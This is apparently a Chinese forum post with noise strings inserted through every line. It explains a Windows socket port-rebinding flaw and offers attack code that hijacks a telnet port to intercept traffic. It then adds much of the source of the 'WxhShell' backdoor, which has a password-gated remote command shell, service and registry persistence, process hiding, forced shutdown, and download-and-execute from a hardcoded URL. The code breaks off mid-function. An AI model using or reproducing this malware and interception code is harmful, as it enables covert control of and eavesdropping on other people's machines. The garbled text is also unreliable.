在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
$`'^&o;&f s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
i[ BR"( eT+MN` saddr.sin_family = AF_INET;
?<w +{ "VWxHRVg4M saddr.sin_addr.s_addr = htonl(INADDR_ANY);
s=huOjKL]
+V|]:{3W bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
/$rS0@p @fpxGMy& 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
"`:#sF9S qc\o>$-:` 这意味着什么?意味着可以进行如下的攻击:
PyHE>C% !*%3um
1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
?=IbiT -T{~m6 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
gr=ke #
Qb# S)[6s+ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
VH*j3 y&__2t^u 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
"_)
3iWLo Qm 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
c_^H;~^rL `p^M\!h*O 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
qrX6FI =GR
Em5 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
'~ ]b;nA ij hMJ?3 #include
8}\"LXRbo #include
&P ;6P4x #include
ur#"f'|- #include
"<O?KO3K DWORD WINAPI ClientThread(LPVOID lpParam);
~[9 ]M)=O0 int main()
k5xirB_ {
n?
s4"N6 WORD wVersionRequested;
{8jG6 DWORD ret;
Vxgc|E^J WSADATA wsaData;
^U_jeAuk8[ BOOL val;
k LD)<D SOCKADDR_IN saddr;
fQx 4/4j SOCKADDR_IN scaddr;
R4qk/@]t int err;
b'-gy0 SOCKET s;
5?vIkf SOCKET sc;
M(3E
b;` int caddsize;
6
*8G e HANDLE mt;
% 9WWBxS DWORD tid;
U |4%ydG wVersionRequested = MAKEWORD( 2, 2 );
*gT
TI;: err = WSAStartup( wVersionRequested, &wsaData );
hcaH if ( err != 0 ) {
%)aDh
}
printf("error!WSAStartup failed!\n");
xEiW]Eo return -1;
^$#Q_Y| }
ac&tpvij saddr.sin_family = AF_INET;
o!H"~5Trv! E>V8|Hz; //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
5!cplx=< t1~*q)!Mo saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
#-VKk saddr.sin_port = htons(23);
w|5}V6WD if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
)O&$-4gL' {
U&eLj"XZ printf("error!socket failed!\n");
zR<jZwo]# return -1;
:e9E#o }
oL6_Ya val = TRUE;
3> fuH'= //SO_REUSEADDR选项就是可以实现端口重绑定的
)US)-\^ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
nEn2!)$ {
c&_3"2: printf("error!setsockopt failed!\n");
"iydXV=Q return -1;
vMI \$E& }
o4Ba l^=[ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
W@0(Y9jdg //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
TM RXl.1 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
G![1+2p:Tq \m.{^Xd~ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
! 9N%=6\ {
L'6zs:i ret=GetLastError();
>3Y&jsh< printf("error!bind failed!\n");
Je*gMq:D return -1;
*LhR$(F( }
[,e_2< listen(s,2);
4i19HD_ while(1)
5y~[2jB: {
+<|w|c caddsize = sizeof(scaddr);
B=p'2lla //接受连接请求
PRUGUHY sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
C eg6o&^ if(sc!=INVALID_SOCKET)
{M$8V~8D {
%q!nTGU~ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
@rdC/=Y[ if(mt==NULL)
A6Qi^TI {
4@Qq5kpk* printf("Thread Creat Failed!\n");
l-npz)EM break;
}Ag2c; aaq }
2-CK:)n/# }
2]'ozs$|v CloseHandle(mt);
OL=b hZ }
9!OpW:bR| closesocket(s);
`<Ftn WSACleanup();
K4tX4U[Z return 0;
>ylVES/V }
5u!cA4e" DWORD WINAPI ClientThread(LPVOID lpParam)
doa$
;=wg {
AuCVpDH SOCKET ss = (SOCKET)lpParam;
aqN.5'2\ SOCKET sc;
> w'6ZDA*X unsigned char buf[4096];
n#R!`*[ SOCKADDR_IN saddr;
Ea
!j-Lb o long num;
Owr`ip\ DWORD val;
G@;aqe[dB DWORD ret;
=os j}( //如果是隐藏端口应用的话,可以在此处加一些判断
{J]|mxo //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
AX)zSr Xn saddr.sin_family = AF_INET;
BOG )JaDW saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
x{- caOH saddr.sin_port = htons(23);
3_ >R's8P if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
}0TY {
(o|E@d printf("error!socket failed!\n");
B+<k,ad return -1;
'ZDclz9} }
tEUmED0FY val = 100;
VuY.})+J: if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
kmS8>O {
ev3x*}d0 ret = GetLastError();
O<hHo]jLF return -1;
3,[2-obmi }
pA2U+Q@ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
\z{Y(dS {
|bk*Lgkzw ret = GetLastError();
U!5@$Fu return -1;
@K/Ia!Lw }
@.{ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
A_.QHUjpx {
2*|]#W printf("error!socket connect failed!\n");
UdGoPzN closesocket(sc);
\x!>5Z
Y closesocket(ss);
LWI~m2 return -1;
Hj!)S&y,$ }
D)_Ei'+*l while(1)
dd$N4& {
{G}HZv%S U //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
,uv$oP- //如果是嗅探内容的话,可以再此处进行内容分析和记录
Q@8[q l1l //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
>W;i2%T num = recv(ss,buf,4096,0);
I%p#E#[G if(num>0)
u!i5Q send(sc,buf,num,0);
lm|`Lh- else if(num==0)
ZeeuH"A break;
_(hwU>. num = recv(sc,buf,4096,0);
vf2K2\fn if(num>0)
|(SW send(ss,buf,num,0);
/K^cU;E, else if(num==0)
(Y>MsqwWfC break;
c&++[ }
6"GpE5'* closesocket(ss);
xYT.J 6 closesocket(sc);
pV7Gh`<y return 0 ;
wGvgMZ ]?' }
AV p[gr +RkYW*|$S H[D/Sz5` ==========================================================
@>Keu\) x}{VHp`|ld 下边附上一个代码,,WXhSHELL
h,x] Al|7Y/ ==========================================================
ca=e_sg gNwXOd u #include "stdafx.h"
.6K>" o$O,#^ #include <stdio.h>
=lwS\mNs #include <string.h>
K +~v<F #include <windows.h>
#lF<="y%X #include <winsock2.h>
K(gj6SrjV #include <winsvc.h>
i.sq^]j #include <urlmon.h>
qx)k1 QY o(P:f)B #pragma comment (lib, "Ws2_32.lib")
RY{tX` #pragma comment (lib, "urlmon.lib")
g1~I*!p x/=j$oA #define MAX_USER 100 // 最大客户端连接数
j;)6uia*A #define BUF_SOCK 200 // sock buffer
qedGBl& #define KEY_BUFF 255 // 输入 buffer
[Ni4[\ Y9;Mey*oW #define REBOOT 0 // 重启
?_aR-[XRg #define SHUTDOWN 1 // 关机
WM"^#=+$ I*}#nY0+ #define DEF_PORT 5000 // 监听端口
9#<Og>t2y 5-^%\?,x #define REG_LEN 16 // 注册表键长度
8-:k@W #define SVC_LEN 80 // NT服务名长度
^%&x{F. 0?SLRz8 // 从dll定义API
Jdn*?hc+ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
:,m)D775S typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
j&A3s{S4A typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
opMUt,4 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
2~V Im#
>x4[7YAU{ // wxhshell配置信息
4MJzx9# struct WSCFG {
(x
qA.(F int ws_port; // 监听端口
(L$~zw5gr char ws_passstr[REG_LEN]; // 口令
|8 bO5l: int ws_autoins; // 安装标记, 1=yes 0=no
{ah=i8$ char ws_regname[REG_LEN]; // 注册表键名
*Xoscc char ws_svcname[REG_LEN]; // 服务名
9Yyg}l: char ws_svcdisp[SVC_LEN]; // 服务显示名
Nb~dw;t char ws_svcdesc[SVC_LEN]; // 服务描述信息
zXZ'nJ5OGG char ws_passmsg[SVC_LEN]; // 密码输入提示信息
/\rq$W_ int ws_downexe; // 下载执行标记, 1=yes 0=no
<(4#4=ivP char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
,SF.@^o@a char ws_filenam[SVC_LEN]; // 下载后保存的文件名
ht)nx,e= |*KS<iHr% };
"<x~{BN? Jwd&[
O // default Wxhshell configuration
NRisr struct WSCFG wscfg={DEF_PORT,
X5Y
`(/V "xuhuanlingzhe",
nKB&|! 1,
ti^v%+r1 "Wxhshell",
c^O#O "Wxhshell",
Cc)P5\jh "WxhShell Service",
*O>aqu "Wrsky Windows CmdShell Service",
]<gCq/V # "Please Input Your Password: ",
5xDN&su 1,
YX`=M "
http://www.wrsky.com/wxhshell.exe",
T:dm0i au "Wxhshell.exe"
JA(fam~{ };
lt6;*z[ UZP6x2:= // 消息定义模块
=nx:GT3&[ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
H'{?aaK|t char *msg_ws_prompt="\n\r? for help\n\r#>";
DBJA}Cw char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
drKjLo[y char *msg_ws_ext="\n\rExit.";
MJ,ZXJXs char *msg_ws_end="\n\rQuit.";
xs!g{~V{ char *msg_ws_boot="\n\rReboot...";
K3:|Tc( char *msg_ws_poff="\n\rShutdown...";
T_?nd T2 char *msg_ws_down="\n\rSave to ";
QZ3(u<f 99"[b char *msg_ws_err="\n\rErr!";
hNnX-^J<o char *msg_ws_ok="\n\rOK!";
pP* ~ =? +}QBzGW` char ExeFile[MAX_PATH];
PCPf*G> int nUser = 0;
rLh9`0|D HANDLE handles[MAX_USER];
dAr)%RZ int OsIsNt;
g'ZMV6b?K qzA]2'~Q SERVICE_STATUS serviceStatus;
PKR $I SERVICE_STATUS_HANDLE hServiceStatusHandle;
}l(m5 i9eyrl+! // 函数声明
s
S5fd)x int Install(void);
LkGf|yd_ int Uninstall(void);
s!ZW'`4!z int DownloadFile(char *sURL, SOCKET wsh);
z8/xGQn int Boot(int flag);
wB>S\~i void HideProc(void);
<*"pra{3 int GetOsVer(void);
OR\DTLIl int Wxhshell(SOCKET wsl);
K-
I\P6R` void TalkWithClient(void *cs);
D!}K)T1~R int CmdShell(SOCKET sock);
/.)[9bQ< int StartFromService(void);
]hE+$sKd int StartWxhshell(LPSTR lpCmdLine);
.S!>9X,
5m^Hi}S_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
a-5HIY5 VOID WINAPI NTServiceHandler( DWORD fdwControl );
"f|(@a >u5g?yzw // 数据结构和表定义
58&{5YpS SERVICE_TABLE_ENTRY DispatchTable[] =
E8-fW\!F {
?#m<\]S< {wscfg.ws_svcname, NTServiceMain},
AL]h|)6QpC {NULL, NULL}
pSQCT };
yYToiW * n<?SZ^X{,/ // 自我安装
nFe` <Al$N int Install(void)
m0j|58~ {
=1*%>K char svExeFile[MAX_PATH];
W&e'3gk _ HKEY key;
cRh\USS strcpy(svExeFile,ExeFile);
C~{NKMeC/m H5Ux.]y // 如果是win9x系统,修改注册表设为自启动
.vN%UNu if(!OsIsNt) {
2K]IlsMO& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
>AQ)x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
(@ fa~?v>@ RegCloseKey(key);
C[xJU6z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
1iJ0Hut}d RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
o)tKH@`vE RegCloseKey(key);
,$h(fM8GC return 0;
1xO!w+J# }
)d}H>Qx= }
ut4r~~Ar }
v._Egk0 else {
%9T~8L
@. ]bTzbu@ // 如果是NT以上系统,安装为系统服务
j9URl$T: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
-J"qrpZ^ if (schSCManager!=0)
QSHJmk 6L {
m!5HRjOO SC_HANDLE schService = CreateService
4[TS4p (
%'L].+$t schSCManager,
eQU-&-wt0 wscfg.ws_svcname,
.!yWF?T8 wscfg.ws_svcdisp,
1mHwYT+ SERVICE_ALL_ACCESS,
]6{(Hjt SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
qGnPnQc SERVICE_AUTO_START,
&so-O90 SERVICE_ERROR_NORMAL,
-RG8<bI, svExeFile,
P>*Fj4Z~ NULL,
-ca7x`yo NULL,
.[T'yc:= NULL,
%n05Jitl NULL,
@up&q NULL
}_{y|NW );
5/B#) gm if (schService!=0)
D:wnO|: {
+`;+RDKY* CloseServiceHandle(schService);
0A#*4ap CloseServiceHandle(schSCManager);
&
u$(NbK strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
U~uwm/h strcat(svExeFile,wscfg.ws_svcname);
6FL?4>MZ
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
5vD3K!\u RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
J| SwQE~ RegCloseKey(key);
6exI_3A4jh return 0;
YBX)eWslK }
(U|)xA]y! }
dqqnCXYuW CloseServiceHandle(schSCManager);
vv+TKO }
^Xs%.`Gv/ }
)|y#OZHR HLjvKE=W return 1;
$!!R:Wn/R }
iv:,fkwG {(rf/:X!p // 自我卸载
JY{X,?s int Uninstall(void)
tg~A}1o`0 {
(y1$MYZQ HKEY key;
C,o: 5;W\2yj if(!OsIsNt) {
sYGR-:K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
{7vgHutp RegDeleteValue(key,wscfg.ws_regname);
[6AHaOhR' RegCloseKey(key);
Ri|k<io if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
\V]t!mZ-}l RegDeleteValue(key,wscfg.ws_regname);
tY/En-&t RegCloseKey(key);
i<%m Iq1L return 0;
;\N79)Gk }
/"=29sWB }
HHz;0V4w? }
r"R(}`<, else {
]>5T}h {!L=u/qs" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
vR7ct av if (schSCManager!=0)
=0,|/1~ {
]?[zx'| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
2(pLxVl if (schService!=0)
^^%JoQ. {
/K7Bae5h if(DeleteService(schService)!=0) {
v@VLVf)>9^ CloseServiceHandle(schService);
HLVQ7 CloseServiceHandle(schSCManager);
&x`&03X return 0;
FJ{=2]x| }
jz*0`9&_ CloseServiceHandle(schService);
d$w(-tV42 }
~i%-WX CloseServiceHandle(schSCManager);
C1b*v&1{ }
z.
'Fv7 }
$; ?c?n+ w4UD/zO return 1;
>w9sE8i }
;_}~%-_
~ KYp[Gs // 从指定url下载文件
AcKU^T+ int DownloadFile(char *sURL, SOCKET wsh)
iC\%_5/_ {
alFNSRY HRESULT hr;
u t$c)_ char seps[]= "/";
j !`B'{cH char *token;
xA92C char *file;
H( vx/q char myURL[MAX_PATH];
/0(%(2jIWl char myFILE[MAX_PATH];
*ot>WVB FH.f- ZU strcpy(myURL,sURL);
sm0fAL token=strtok(myURL,seps);
E>E*ZZuhj while(token!=NULL)
H<g 1m {
/jM_mrpz file=token;
i0>]CJG token=strtok(NULL,seps);
!$_~x
8K1- }
?\ZL#)hr"p 1w`2Dt GetCurrentDirectory(MAX_PATH,myFILE);
I7~| ~< strcat(myFILE, "\\");
S<"oUdkz strcat(myFILE, file);
%)?`{O~ h send(wsh,myFILE,strlen(myFILE),0);
Or7
mD send(wsh,"...",3,0);
&=X.*H% hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
V43TO if(hr==S_OK)
SrF x_n return 0;
|d[5l^6 else
dN< ,%}R return 1;
$E\^v^LW w9MoT.kI} }
M7rIi\4K4 \8e2?(@"k // 系统电源模块
L_~8"I_ int Boot(int flag)
+1QK}H~ {
;r.EC}>m HANDLE hToken;
Lkn4<'un TOKEN_PRIVILEGES tkp;
-jB3L: TkRmV6'w if(OsIsNt) {
ziiwxx_ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
"oR@JbdX LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
@ &pqt6/t tkp.PrivilegeCount = 1;
-\4zwIH tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Br!9x{q* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
k2r3dO@q if(flag==REBOOT) {
S( if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
!J3UqS return 0;
LBat:7aH> }
7CGyC[[T~ else {
z8"7u/4v{ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
gv|"OlB return 0;
?{6s58Q{ }
I`T1Pll }
BJk
Z2= else {
zU&L.+
if(flag==REBOOT) {
Wpr
,jN8b if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
uR$i48} return 0;
.t= }
; b*i3*!g else {
Y%@hbUc}x9 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
\vRd} return 0;
GSi>l,y' }
$=)gpPT }
?IF)+] du_4eB return 1;
G69GoT }
>P=Q #;v rzUlO5?R= // win9x进程隐藏模块
P6\6?am void HideProc(void)
3TS_-l {
!Ms[eB yCP4r6X0 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
/TV=$gB` if ( hKernel != NULL )
Dvc&RG {
D d,2;#_ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
5)UQWnd5 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
;wHCj$q FreeLibrary(hKernel);
l1'6cLT` }
e#S0Fk)z Z"y=sDO{ return;
bm#(? }
YlF%UPp H,y4`p 0 // 获取操作系统版本
tU:EN;H int GetOsVer(void)
q%i-`S]}qL {
=5x&8i OSVERSIONINFO winfo;
Lja 7 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
%JyXbv3m, GetVersionEx(&winfo);
{<=#*qx[Y! if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
/>44]A< return 1;
@7<uMasfp else
(Un_!) return 0;
,r8Tbk]m }
\r{W _S`o1^Ad // 客户端句柄模块
;j%BK(5 int Wxhshell(SOCKET wsl)
2=iH$v {
C\*4q8( SOCKET wsh;
VIJ<``9[ struct sockaddr_in client;
8gy_Yj&{P DWORD myID;
gckI.[!b IzLQhDJ1 while(nUser<MAX_USER)
X3%Ic`Lq# {
qfoD int nSize=sizeof(client);
{d<;BLA wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
F?-R$<Cn2~ if(wsh==INVALID_SOCKET) return 1;
aZ|=(] 5ZY<JA3 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
ye}p~& if(handles[nUser]==0)
Qf $|_&| closesocket(wsh);
ep/Y^&$M else
.6f%?oo nUser++;
S* *oA 6 }
>>{FzR WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
%9oYw9H! Np+&t} return 0;
RQB
4s^t }
36.N>G, JW.=T) // 关闭 socket
Qnd5X`jF# void CloseIt(SOCKET wsh)
RsJ6OFcWV {
'T<iHV& closesocket(wsh);
}Gyqq6Aeb nUser--;
Bun><Y
@ ExitThread(0);
5L,}e<S$ }
sarq`%zrk ',^+bgs5 // 客户端请求句柄
Uyx!E4pl( void TalkWithClient(void *cs)
~@.%m"<. {
3&&9_`r&_ d;mx<i=/ SOCKET wsh=(SOCKET)cs;
)lk&z8;.= char pwd[SVC_LEN];
0&_UH}10 char cmd[KEY_BUFF];
Vv1|51B char chr[1];
?L&|Uw+ int i,j;
$-}e; V Zb z7GTaX$d while (nUser < MAX_USER) {
\;u@ " qt%D' if(wscfg.ws_passstr) {
b` Hz$8 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
O3DmNq$dz //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
1K,1X(0rL8 //ZeroMemory(pwd,KEY_BUFF);
\^7C0R-hX i=0;
OyV<u@[i while(i<SVC_LEN) {
L@`ouQ"sa VA*y|Q6 // 设置超时
D^%^xq)E fd_set FdRead;
'R`tLN struct timeval TimeOut;
z4M9M7)" FD_ZERO(&FdRead);
?;/^Ya1;Z FD_SET(wsh,&FdRead);
p~HW5\4 TimeOut.tv_sec=8;
evkH05+;W TimeOut.tv_usec=0;
Tou/5?#%e int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
]$b[`g& if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
b306&ZVEk 6`vC1PK^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
M" ^PW,k pwd
=chr[0]; ./Q,
if(chr[0]==0xd || chr[0]==0xa) { %NL^WG:
pwd=0; ;bHV
break; JRo?s~Ih
} B#/Q'V
i++; ;4N;D
} >h0-;
*HEuorl
// 如果是非法用户,关闭 socket >D201&*G%
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /|6;Z}2
} g~(E>6Y
2^8%>,
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cuy1DDl
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zg-2C>(6a
jck}" N
while(1) { F 8B#}%JE
(Jz;W<E
ZeroMemory(cmd,KEY_BUFF); pPd#N'\*
9]q:[zm^
// 自动支持客户端 telnet标准 &gzCteS
j=0; e[hcJz!D
while(j<KEY_BUFF) { Yn8=
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C z\Pp q
cmd[j]=chr[0]; t%F0:SH
if(chr[0]==0xa || chr[0]==0xd) { )iFJz/n>
cmd[j]=0; /cU<hApK
break; Um&(&?Xf
} =s<( P1|"
j++; HRB<Y
mP@
} "
Hd|7F'u=
YnLErJ
// 下载文件 [l,Ei?
if(strstr(cmd,"http://")) { 3}e%[AKh
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^o7;c [E`
if(DownloadFile(cmd,wsh)) M)SEn/T-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8#vc(04(
else / X1 x
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fW?o@vlO
} N<~ku<nAU
else { O{#=d
F_CYYGZ
switch(cmd[0]) { 72'5%*1
JQ"U4GVp
// 帮助 i':C)7
case '?': { cTG|fdgMW
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IIbYfPiO
break; h<$MyN4]g
} |P%Jw,}]9
// 安装 }sxYxn~
case 'i': { thhwN
A
if(Install()) Dc,I7F|%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'q`^3&E
else cFJY^A
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E~6c -Lw
break; vh$%9ed
} Hro-d1J7
// 卸载 Dd\jHF>u
case 'r': { R
rda# h^
if(Uninstall()) rW=Z>1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); AJ=qn a
else EVGt 5z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +llR204
break; !jTcsN%
} S_Wrw z
// 显示 wxhshell 所在路径 8SGo9[U2
case 'p': { &G-!qxe
char svExeFile[MAX_PATH]; .X;3,D[w
strcpy(svExeFile,"\n\r"); _fKou2$yz
strcat(svExeFile,ExeFile); MjU6/pO}L
send(wsh,svExeFile,strlen(svExeFile),0); _ jsK}- \
break; .hifsB~
} Om5Y|v"*
// 重启 %rv7Jy
case 'b': { `G}TG(
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (=om,g}
if(Boot(REBOOT)) _WRFsDZ'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r [*Vqcz
else { <_-hRbS
closesocket(wsh); ~Yy>zUH^X
ExitThread(0); X"fb; sGT
} ojanBg
break; Ys\Wj%6A
} H*r)Z90
// 关机 '!eKTC>
case 'd': { oaIi2=Tf
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ):[7E(F=
if(Boot(SHUTDOWN)) o{y9r{~A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :0Rx#%u}#
else { E4M@WNPx
closesocket(wsh); uo@n(>}EL
ExitThread(0); '2 PF
} fR(d
break; uc){+'[
} ?M\{&mlF
// 获取shell *=V~YF:Qb
case 's': { #
mV{#B=
CmdShell(wsh); *Qg _F6y
closesocket(wsh); v]B3m
ExitThread(0); =\H!GT
break; d^{RQ
} |Uc_G13Y{D
// 退出 xe^Gs]fm
case 'x': { e4 >_v('
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .K1FKC$C
CloseIt(wsh); ,g2ij
break; xLK<W"%0
} V3^&oe%
// 离开 ,F,X
,
case 'q': { ur:3W6ZKl
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5\]Sv]s)R
closesocket(wsh); xdp`<POn%
WSACleanup(); hEKf6#
exit(1); Z{]0jhUyNh
break; 7$CBx/X50)
} HTX?,C_
} 5kCUaPu
} v|dBSX9k0
6WXRP;!Q
// 提示信息 b4[bL2J$h1
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H9YW
} Y^$X*U/q%U
} Y 0d<~*
t gI{`jS%
return; ~?d Nd
} #h`
V>;
wl#@lOv-P
// shell模块句柄 (|klSz_4LM
int CmdShell(SOCKET sock) >0ow7Uw;
{ 8%A#`)fb
STARTUPINFO si; '>-gi}z7
ZeroMemory(&si,sizeof(si)); m
qMHL2~
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (nf~x
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +BETF;0D
PROCESS_INFORMATION ProcessInfo; ~A'!2
char cmdline[]="cmd"; pNepC<rY
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xhVO3LW'
return 0; jB%lB1Q|
} v0z5j6)-1
vHryPl+
// 自身启动模式 }$SavB#SBP
int StartFromService(void) k_
& :24Lj
{ mr*JJF0Z
typedef struct ON=@O
{ 7%Gwc?[x
DWORD ExitStatus; J??-j
DWORD PebBaseAddress; g
jDh?I
DWORD AffinityMask; 1OCeN%4]Qk
DWORD BasePriority; I>]oS(GNT
